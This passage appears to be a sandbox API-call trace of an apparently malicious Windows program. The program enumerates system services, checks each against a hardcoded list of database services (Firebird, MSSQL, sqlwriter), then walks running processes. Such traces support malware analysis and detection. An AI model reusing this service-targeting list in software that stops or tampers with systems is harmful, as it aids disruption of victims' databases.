[0281.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0281.047] lstrlenW (lpString="AppXSvc") returned 7 [0281.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0281.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0281.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0281.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0281.047] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0281.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0281.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0281.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0281.047] lstrlenW (lpString="Audiosrv") returned 8 [0281.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0281.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0281.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0281.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0281.047] lstrlenW (lpString="BFE") returned 3 [0281.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0281.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0281.047] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0281.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0281.047] lstrlenW (lpString="BITS") returned 4 [0281.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0281.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0281.048] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0281.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0281.048] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0281.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.048] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0281.048] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0281.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0281.048] lstrlenW (lpString="CDPSvc") returned 6 [0281.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0281.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0281.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0281.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0281.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0281.048] lstrlenW (lpString="ClickToRunSvc") returned 13 [0281.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0281.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0281.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0281.048] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0281.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0281.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0281.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0281.048] lstrlenW (lpString="CryptSvc") returned 8 [0281.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0281.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0281.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0281.049] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0281.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0281.049] lstrlenW (lpString="DcomLaunch") returned 10 [0281.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0281.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0281.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0281.049] lstrlenW (lpString="DeviceAssociationService") returned 24 [0281.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0281.049] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0281.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0281.049] lstrlenW (lpString="Dhcp") returned 4 [0281.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0281.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0281.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0281.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0281.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0281.049] lstrlenW (lpString="Dnscache") returned 8 [0281.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0281.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0281.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0281.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0281.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0281.049] lstrlenW (lpString="DPS") returned 3 [0281.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0281.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0281.049] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0281.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0281.050] lstrlenW (lpString="DusmSvc") returned 7 [0281.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0281.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0281.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0281.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0281.050] lstrlenW (lpString="EventLog") returned 8 [0281.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0281.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0281.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0281.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0281.050] lstrlenW (lpString="EventSystem") returned 11 [0281.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0281.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0281.050] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0281.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0281.050] lstrlenW (lpString="FontCache") returned 9 [0281.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0281.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0281.050] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0281.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0281.050] lstrlenW (lpString="gpsvc") returned 5 [0281.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0281.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0281.050] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0281.050] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0281.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0281.051] lstrlenW (lpString="iphlpsvc") returned 8 [0281.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.051] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0281.051] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0281.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0281.051] lstrlenW (lpString="KeyIso") returned 6 [0281.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0281.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0281.051] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0281.051] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0281.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0281.051] lstrlenW (lpString="LanmanServer") returned 12 [0281.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0281.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0281.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0281.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0281.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0281.051] lstrlenW (lpString="LanmanWorkstation") returned 17 [0281.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.051] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0281.051] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0281.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0281.051] lstrlenW (lpString="lfsvc") returned 5 [0281.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0281.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0281.051] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0281.051] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0281.052] lstrlenW (lpString="lmhosts") returned 7 [0281.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0281.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0281.052] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0281.052] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0281.052] lstrlenW (lpString="LSM") returned 3 [0281.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0281.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0281.052] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0281.052] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0281.052] lstrlenW (lpString="MpsSvc") returned 6 [0281.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0281.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0281.052] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0281.052] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0281.052] lstrlenW (lpString="NcbService") returned 10 [0281.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0281.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0281.052] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0281.052] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0281.052] lstrlenW (lpString="netprofm") returned 8 [0281.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0281.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0281.052] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0281.052] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0281.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0281.053] lstrlenW (lpString="NgcSvc") returned 6 [0281.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0281.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0281.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0281.053] lstrlenW (lpString="NlaSvc") returned 6 [0281.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0281.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0281.053] lstrlenW (lpString="nsi") returned 3 [0281.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0281.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0281.053] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0281.053] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0281.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0281.053] lstrlenW (lpString="PcaSvc") returned 6 [0281.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0281.053] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0281.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0281.053] lstrlenW (lpString="PlugPlay") returned 8 [0281.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0281.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0281.053] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0281.053] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0281.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0281.053] lstrlenW (lpString="Power") returned 5 [0281.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0281.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0281.054] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0281.054] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0281.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0281.054] lstrlenW (lpString="ProfSvc") returned 7 [0281.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0281.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0281.054] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0281.054] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0281.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0281.054] lstrlenW (lpString="RpcEptMapper") returned 12 [0281.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.054] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0281.054] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0281.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0281.054] lstrlenW (lpString="RpcSs") returned 5 [0281.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0281.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0281.054] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0281.054] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0281.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0281.054] lstrlenW (lpString="SamSs") returned 5 [0281.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0281.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0281.054] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0281.054] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0281.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0281.054] lstrlenW (lpString="Schedule") returned 8 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0281.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0281.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0281.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0281.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0281.055] lstrlenW (lpString="SecurityHealthService") returned 21 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0281.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0281.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0281.055] lstrlenW (lpString="SENS") returned 4 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0281.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0281.055] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0281.055] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0281.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0281.055] lstrlenW (lpString="ShellHWDetection") returned 16 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.055] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0281.055] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0281.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0281.055] lstrlenW (lpString="Spooler") returned 7 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0281.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.055] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.055] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.055] lstrlenW (lpString="StateRepository") returned 15 [0281.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.056] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.056] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.056] lstrlenW (lpString="SysMain") returned 7 [0281.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.056] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.056] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.056] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.056] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0281.056] lstrlenW (lpString="Themes") returned 6 [0281.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0281.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0281.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0281.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0281.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0281.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a8 [0281.449] Process32FirstW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.450] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.451] lstrlenW (lpString="System") returned 6 [0281.451] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.452] lstrlenW (lpString="smss.exe") returned 8 [0281.452] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.453] lstrlenW (lpString="csrss.exe") returned 9 [0281.453] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.454] lstrlenW (lpString="wininit.exe") returned 11 [0281.454] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.455] lstrlenW (lpString="csrss.exe") returned 9 [0281.455] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.456] lstrlenW (lpString="winlogon.exe") returned 12 [0281.456] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.457] lstrlenW (lpString="services.exe") returned 12 [0281.457] Process32NextW (in: hSnapshot=0x11a8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, 